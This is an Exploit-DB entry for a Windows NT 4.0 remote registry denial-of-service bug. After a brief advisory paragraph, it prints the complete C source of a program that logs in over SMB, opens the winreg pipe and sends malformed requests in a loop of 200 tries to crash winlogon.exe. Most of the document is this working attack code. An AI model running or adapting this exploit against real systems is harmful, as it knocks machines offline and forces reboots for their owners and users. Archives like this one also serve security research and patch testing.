Microsoft Windows NT 4.0 - Remote Registry Request Denial of Service (1)

EDB-ID:

20005




Platform:

Windows

Date:

2000-06-08


// source: https://www.securityfocus.com/bid/1331/info

In special circumstances while handling requests to access the Remote Registry Server, Windows NT 4.0 can crash due to winlogon.exe's inability to process specially malformed remote registry requests. Rebooting the machine would be required in order to regain normal functionality.

Only authenticated users on the network would be able to exploit this vulnerability. If Windows NT was configured to deny all remote registry requests, it would not be affected by this vulnerability under any conditions. 

/*
 * crash_winlogon.c
 *
 * by Renaud Deraison - deraison@cvs.nessus.org
 *
 * This code is released under the GNU General Public License.
 * (thanks for respecting this license) 
 *
 * In case you are wondering, here is the motto I applied for this code :
 *
 * 		"Structures are for sissies"
 */
#include <stdio.h>
#include <stdlib.h>
#ifdef WIN32
#include <windows.h>
#define bzero(x,y) memset(x, 0, y)
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <ctype.h>
#define closesocket(x) close(x)
#endif


char * netbios_name(char * orig)
{
 int i, len;
 char * ret = malloc(40);

 bzero(ret, 40);
 len = strlen(orig);
 for(i=0;i<16;i++)
 {
  if(i >= len)
   strcat(ret, "CA");
  else
   {
    int odiv, omod;
    
    odiv = (orig[i] / 16) + 'A';
    omod = (orig[i] % 16) + 'A';
    ret[strlen(ret)]=odiv;
    ret[strlen(ret)]=omod;
   }
 }
 return(ret);
}

char * netbios_redirector()
{
 int i;
 char * ret = malloc(31);
 bzero(ret, 31);
 for(i=0;i<15;i++)strcat(ret, "CA"); 
 strcat(ret, "AA");
 return(ret);
}


char* unicode(char * data)
{
 int len = strlen(data);
 int i;
 char * ret = malloc(110);
 int l = 0;
 
 bzero(ret,110);
 for(i=0;i<len;i++)
 {
  ret[i*2] = data[i];
 }
 
 if(len & 1){
 	ret[len*2+7] = 0x19;
	ret[len*2+9] = 0x02;
	}
 else
   	{
	 ret[len*2+8] = 0x19;
	 ret[len*2+10] = 0x02;
	}	 
		
 return(ret);
}	


char * 
smb_session_request(soc, remote)
 int soc;
 char* remote;
{
 char * nb_remote = netbios_name(remote);
 char * nb_local  = netbios_redirector();
 char * request = malloc(400);
 u_char req_head[] = {0x81, 0x00, 0x00, 0x48, 0x20};
 u_char req_body[] = {0x00, 0x20};
 u_char * answer = malloc(400);
 int n;

 bzero(request, 400);
 memcpy(request, req_head, 5);
 memcpy(request+5, nb_remote, strlen(nb_remote));
 memcpy(request+5+strlen(nb_remote), req_body, 2);
 memcpy(request+5+strlen(nb_remote)+2, nb_local, strlen(nb_local));
 
 send(soc, request, 5+strlen(nb_remote)+strlen(nb_local)+2+1, 0);
 bzero(answer, 400);
 n = recv(soc, answer, 400, 0);
 if(answer[0]==0x82)return(answer);
 else return(NULL);
}

char *
smb_neg_prot(soc)
 int soc;
{
 char * r;
 u_char neg_prot[] = {0x00,0x00,
	 0x00, 0x89, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00,
	 0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
	 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
	 0x00, 0x00, 0x00, 0x66, 0x00, 0x02, 0x50, 0x43,
	 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
	 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D,
	 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x4D, 0x49,
	 0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54, 0x20,
	 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B, 0x53,
	 0x20, 0x31, 0x2E, 0x30, 0x33, 0x00, 0x02, 0x4D,
	 0x49, 0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54,
	 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
	 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00, 0x02, 0x4c,
	 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30,
	 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58,
	 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d,
	 0x62, 0x61, 0x00
	 };
	 
 send(soc, neg_prot, sizeof(neg_prot), 0);
 r = malloc(4000);
 bzero(r, 4000);
 recv(soc, r, 4000, 0);
 if(!r[9])return(r);
 else return(NULL);
}

char * smb_session_setup(soc, login, password)
 int soc;
 char * login, * password;
{
 int len = strlen(login) + strlen(password) + 57;
 int bcc = 2 + strlen(login) + strlen(password);
 int len_hi = len / 256, len_low = len % 256;
 int bcc_hi = bcc / 256, bcc_lo = bcc % 256;
 int pass_len = strlen(password) + 1;
 int pass_len_hi = pass_len / 256, pass_len_lo = pass_len % 256;
 
 u_char req[] = {0x00,0x00,
    	  len_hi, len_low, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00,
	  0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
	  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	  0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
	  0x00, 0x00, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x04,
	  0x11, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	  0x00, pass_len_lo,  pass_len_hi, 0x00, 0x00, 0x00, 0x00, bcc_lo,
	  bcc_hi};
	  
  char * r;
  char * s;
  
  s = malloc(5000);
  bzero(s, 5000);
  
  memcpy(s, req, sizeof(req));
  memcpy(s+sizeof(req), password, strlen(password)+1);
  memcpy(s+sizeof(req)+strlen(password)+1, login, strlen(login)+1);
  
 
  send(soc, s, sizeof(req)+strlen(password)+1+strlen(login)+1, 0);
  free(s);
  r = malloc(4000);
  bzero(r, 4000);
  recv(soc, r, 4000, 0);
  if(!r[9])return(r);
  else return(NULL);
}

char * smb_tconx(soc, name, uid)
 int soc;
 char * name;
 int uid;
{
 int high = uid / 256;
 int low = uid % 256;
 int len = 55 + strlen(name) + 1;
 int ulen = 13 + strlen(name);
 u_char req [] = {0x00, 0x00,
 		  0x00, len, 0xFF, 0x53, 0x4D, 0x42, 0x75, 0x00,
		  0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x28, low, high,
		  0x00, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x01, 0x00, ulen, 0x00, 0x00, 0x5C, 0x5C};
		  
 u_char req2[] = {0x5C, 0x49,
		   0x50, 0x43, 0x24, 0x00, 0x49, 0x50, 0x43, 0x00};


 char * s = malloc(4000);
 
 bzero(s, 4000);
 memcpy(s, req, sizeof(req));
 memcpy(s+sizeof(req), name, strlen(name));
 memcpy(s+sizeof(req)+strlen(name), req2, sizeof(req2));
 send(soc, s, sizeof(req)+sizeof(req2)+strlen(name), 0);
 bzero(s, 4000);
 recv(soc, s, 4000, 0);
 if(!s[9])return(s);
 else return(NULL);
}



char * smbntcreatex(soc, uid, tid)
 int soc, uid, tid;
{
 u_char tid_high = tid / 256, tid_low = tid % 256;
 u_char uid_high = uid / 256, uid_low = uid % 256;
 char* r;
 u_char req[] = {0x00, 0x00,
  		   0x00, 0x5B, 0xFF, 0x53, 0x4D, 0x42, 0xA2, 0x00,
		   0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x50, 0x81,
		   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		   0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
		   0x00, 0x00, 0x18, 0xFF, 0x00, 0x00, 0x00, 0x00,
		   0x07, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
		   0x00, 0x00, 0x9F, 0x01, 0x02, 0x00, 0x00, 0x00,
		   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		   0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
		   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00,
		   0x00, 0x00, 0x00, 0x08, 0x00, 0x5C, 0x77, 0x69,
		   0x6e, 0x72, 0x65, 0x67, 0x00};
		   
 send(soc, req, sizeof(req), 0);
 r = malloc(4000);
 bzero(r, 4000);
 recv(soc, r, 4000, 0);
 if(!r[9])return(r);
 else return(NULL);
}


char * pipe_accessible_registry(soc, uid, tid, pid)
 int soc, uid, tid, pid;
{
 u_char tid_low = tid % 256, tid_high = tid / 256;
 u_char uid_low = uid % 256, uid_high = uid / 256;
 u_char pipe_low = pid % 256, pipe_high = pid / 256;
 u_char req[] = {
 	0x00, 0x00,
 		  0x00, 0x94, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
		  0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x1B, 0x81,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
		  0x00, 0x00, 0x10, 0x00, 0x00, 0x48, 0x00, 0x00,
		  0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C,
		  0x00, 0x48, 0x00, 0x4C, 0x00, 0x02, 0x00, 0x26,
		  0x00, pipe_low, pipe_high, 0x51, 0x00, 0x5C, 0x50, 0x49,
		  0x50, 0x45, 0x5C, 0x00, 0x00, 0x00, 0x05, 0x00,
		  0x0B, 0x00, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x16,
		  0x30, 0x16, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0xd0,
		  0x8c, 0x33, 0x44, 0x22, 0xF1, 0x31, 0xAA, 0xAA,
		  0x90, 0x00, 0x38, 0x00, 0x10, 0x03, 0x01, 0x00,
		  0x00, 0x00, 0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C,
		  0xc9, 0x11, 0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10,
		  0x48, 0x60, 0x02, 0x00, 0x00, 0x00};
  u_char * r;
  
  send(soc, req, sizeof(req), 0);
  r = malloc(4000);
  bzero(r, 4000);
  recv(soc, r, 4000, 0);
  if(!r[9])return(r);
  else return(NULL);
}		  

char * registry_access_step1(soc, uid, tid, pid)
 int soc, uid, tid, pid;
{
 u_char tid_low = tid % 256, tid_high = tid / 256;
 u_char uid_low = uid % 256, uid_high = uid / 256;
 u_char pipe_low = pid % 256, pipe_high = pid / 256;
 
 u_char * r;
 u_char req[] = {0x00, 0x00,
 		  0x00, 0x78, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
		  0x00, 0x00, 0x00, 0x18, 0x03, 0x80, 0x1D, 0x83,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
		  0x00, 0x00, 0x10, 0x00, 0x00, 0x24, 0x00, 0x00,
		  0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
		  0x00, 0x24, 0x00, 0x54, 0x00, 0x02, 0x00, 0x26,
		  0x00, pipe_low, pipe_high, 0x35, 0x00, 0x00, 0x5c, 0x00,
		  0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00,
		  0x5C, 0x00, 0x00, 0x00, 0x00, 0x5c, 0x05, 0x00,
		  0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x24, 0x00,
		  0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0C, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x10, 0xFF,
		  0x12, 0x00, 0x30, 0x39, 0x01, 0x00, 0x00, 0x00,
		  0x00, 0x02};
		  
		  
 send(soc, req, sizeof(req), 0);
 r = malloc(4000);
 bzero(r, 4000);
 recv(soc, r, 4000, 0);
 if(!r[9])return(r);
 else return(NULL);
} 		
		  

void crash_winlogon(soc, uid, tid, pid, key, reply)
 int soc, uid, tid, pid;
 char * key, * reply;
{
 int key_len = strlen(key) + 1;
 int key_len_hi = key_len / 256;
 int key_len_lo = key_len % 256;
 
 int tid_low = tid % 256;
 int tid_high = tid / 256;
 
 int uid_low = uid % 256;
 int uid_high = uid / 256;
 
 int pipe_low = pid % 256;
 int pipe_high = pid / 256;
 
 char * uc = unicode(key);
 int len_uc = 100;
 
 
 int len = 148 + len_uc;
 int len_hi = len / 256;
 int len_lo = len % 256;
 
 int z = 40 +len_uc;
 int z_lo = z % 256;
 int z_hi = z / 256;
 
 int y = 81 + len_uc;
 int y_lo = y % 256;
 int y_hi = y / 256;
 
 int x = 64 + len_uc;
 int x_lo = x % 256;
 int x_hi = x / 256;
 
 int n;
 u_char req[] = {
 		  0x00, 0x00,
 		  len_hi, len_lo, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
		  0x00, 0x00, 0x00, 0x18, 0x03, 0x80, reply[16], reply[17],
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x00,tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
		  0x00, 0x00, 0x10, 0x00, 0x00, x_lo, x_hi, 0x00,
		  0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
		  0x00, x_lo, x_hi, 0x54, 0x00, 0x02, 0x00, 0x26,
		  0x00, pipe_low, pipe_high, y_lo, y_hi, 0x00, 0x5C, 0x00,
		  0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00,
		  0x5C, 0x00, 0x00, 0x00, 0x00, 0xb9, 0x05, 0x00,
		  0x00, 0x03, 0x10, 0x00, 0x00, 0x00, x_lo, x_hi,
		  0x00, 0x00, 0x02, 0x00, 0x00, 0x00, z_lo, z_hi,
		  0x00, 0x00, 0x00, 0x00, 0x0F, 0x00};
		  
int x2 = 65535; /* XXXXXX */
int x2_lo = 0xFF, x2_hi = 0xFF;

u_char req2[] = {x2_lo, x2_hi, 0x0A, 0x02, 0x00, 0xEC,
 		0xFD, 0x7F, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, key_len_lo, key_len_hi, 0x00, 0x00};
			
char * crashme = malloc(4000);
char a[] = {0xFF, 0xFF};
bzero(crashme, 4000);
memcpy(crashme, req, sizeof(req));
memcpy(crashme+sizeof(req), &(reply[84]), 20);
memcpy(crashme+sizeof(req)+20, req2, sizeof(req2));
memcpy(crashme+sizeof(req)+20+sizeof(req2), uc, len_uc);
if((n = send(soc, crashme, len+4, 0))<0)
 {
 perror("send ");
 }
}
		  

int smbntcreatex_extract_pipe(reply)
 char * reply;
{
 return(reply[43]*256+reply[42]);
}	

	   
int tconx_extract_tid(reply)
 char * reply;
{
 return(reply[29]*256+reply[28]);
}

	  
	

int session_extract_uid(reply)
 char * reply;
{
 int low, high;
 
 low = reply[32];
 high = reply[33];
 return((high*256)+low);
}

 
 
#define error() _error(__LINE__)

void _error(int line)
{
 printf("Error at line %d\n", line);
 exit(1);
}

int main(argc, argv)
  int argc;
  char * argv[];
{
 char * r;
 int soc;
 struct sockaddr_in sin;
 int uid, tid, pid;
 char * name; 
 char * ip;
 char * login, * password;
 int i;
#ifdef WIN32
 WSADATA winSockData;
 WSAStartup(0x0101, &winSockData);
#endif


 if(argc < 3)
 {
    printf("Usage : winlogon host_ip netbios_name login [password]\n");
    exit(1);
 }
 
 name = strdup(argv[2]);
 for(i=0;i<strlen(name);i++)name[i] = toupper(name[i]);
 ip = strdup(argv[1]);
 login = strdup(argv[3]);
 if(argv[4])password = strdup(argv[4]);
 else password = "";
 printf("ip : %s\n", ip);
 printf("name : %s\n", name);
 printf("login : %s\n", login);
 printf("password : %s\n", password);
 
 for(i=0;i<200;i++)
 {
 soc = socket(AF_INET, SOCK_STREAM, 0);
 if(soc < 0)error();
 bzero(&sin, sizeof(sin));
 sin.sin_port = htons(139);
 sin.sin_addr.s_addr = inet_addr(ip);
 sin.sin_family = AF_INET;
 connect(soc, (const struct sockaddr*)&sin, sizeof(sin));

 r = smb_session_request(soc, name);
 if(!r)error();free(r);
 
 r = smb_neg_prot(soc);
 if(!r)error();free(r);
 
 
 r = smb_session_setup(soc, login, password);
 if(!r)error();
 uid = session_extract_uid(r);free(r);

 r = smb_tconx(soc, name, uid);
 if(!r)error();
 tid = tconx_extract_tid(r);free(r);
 
 r = smbntcreatex(soc, uid, tid);
 if(!r)error();
 pid = smbntcreatex_extract_pipe(r);free(r);
 
 r = pipe_accessible_registry(soc, uid, tid, pid);
 if(!r)error();free(r);
 
 r =  registry_access_step1(soc, uid, tid, pid);if(!r)error();
 
 crash_winlogon(soc, uid, tid, pid, "x", r);
 shutdown(soc, 2);
 closesocket(soc);
 }
#ifdef WIN32
 WSACleanup();
#endif
 return 0;
}